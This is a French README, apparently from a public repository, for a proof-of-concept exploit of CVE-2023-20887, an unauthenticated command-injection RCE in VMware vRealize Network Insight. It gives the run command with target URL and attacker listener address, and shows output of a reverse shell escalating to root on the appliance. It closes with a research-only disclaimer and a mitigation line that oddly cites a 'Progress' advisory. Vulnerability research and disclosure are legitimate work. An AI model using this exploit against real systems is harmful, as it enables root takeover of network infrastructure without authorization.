sinsinology/cve-2023-20887VMWare vRealize Network Insight RCE pré-authentifié (CVE-2023-20887)
POC pour CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) RCE non authentifié
Une analyse de cause racine de la vulnérabilité est disponible sur mon blog : https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
VMWare Aria Operations for Networks (vRealize Network Insight) est vulnérable à une injection de commandes lors de l'acceptation d'entrées utilisateur via l'interface RPC Apache Thrift. Cette vulnérabilité permet à un attaquant distant non authentifié d'exécuter des commandes arbitraires sur le système d'exploitation sous-jacent en tant qu'utilisateur root. L'interface RPC est protégée par un proxy inverse qui peut être contourné. VMware a évalué la gravité de ce problème comme étant dans la plage Critique avec un score de base CVSSv3 maximal de 9.8. un acteur malveillant peut obtenir une exécution de code à distance dans le contexte de « root » sur l'appliance. Les versions VMWare 6.x sont vulnérables.
python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release
Mettez à jour vers la dernière version ou atténuez le risque en suivant les instructions de l'avis Progress
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes, sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.